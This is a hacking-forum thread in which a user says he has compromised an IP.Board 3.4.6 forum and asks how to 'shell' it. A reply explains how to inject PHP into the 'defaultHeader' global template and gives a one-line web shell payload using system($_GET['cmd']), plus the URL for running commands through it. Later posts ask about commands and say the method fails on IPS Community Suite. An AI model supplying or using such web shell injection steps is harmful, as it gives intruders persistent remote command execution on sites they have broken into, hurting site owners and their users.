Is there any new method to shell IPB websites?

Is there any new method to shell IPB websites? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Is there any new method to shell IPB websites? (/showthread.php?tid=4610583)

Is there any new method to shell IPB websites? - adriancs35 - Dec 30, 2014

So recently I hacked a IPB 3.4.6 forum and I need to shell it, and I don't know how...Last time I hacked an IPB I used a c99 hook https://www.youtube.com/watch?v=k9NrcKpdahw
But now, I can no longer find this file anywhere on the internet..

* - Hooded Robin - Dec 30, 2014

Use side or top menu to navigate to the Manage Templates page:

Code 
Look & Feel >> Manage Skin Sets & Templates >> Manage Templates in IP.Board

Append PHP Code to 'Global Templates' >> 'defaultHeader' to have it available from all pages on the IPB instance ;)

Code 
Example Simple System Shell: 

${${system($_GET['cmd'])}}

Execute Commands After:

http://127.0.0.1/ipb/index.php?cmd=_CMD_HERE_

Note: you need to use special curly brace style code for IPB to interpret your code properly as php code

🤝

* - kaavie - Dec 11, 2016

what cmd we need to use? any idea?

* - Eraeus - Dec 27, 2016

Sorry to up this topic but, I've tested this method on IPS Community Suite, but it doesn't work

I have an error : "This themes files could not be saved"

Someone know how can I shell into IPS? (not IPB)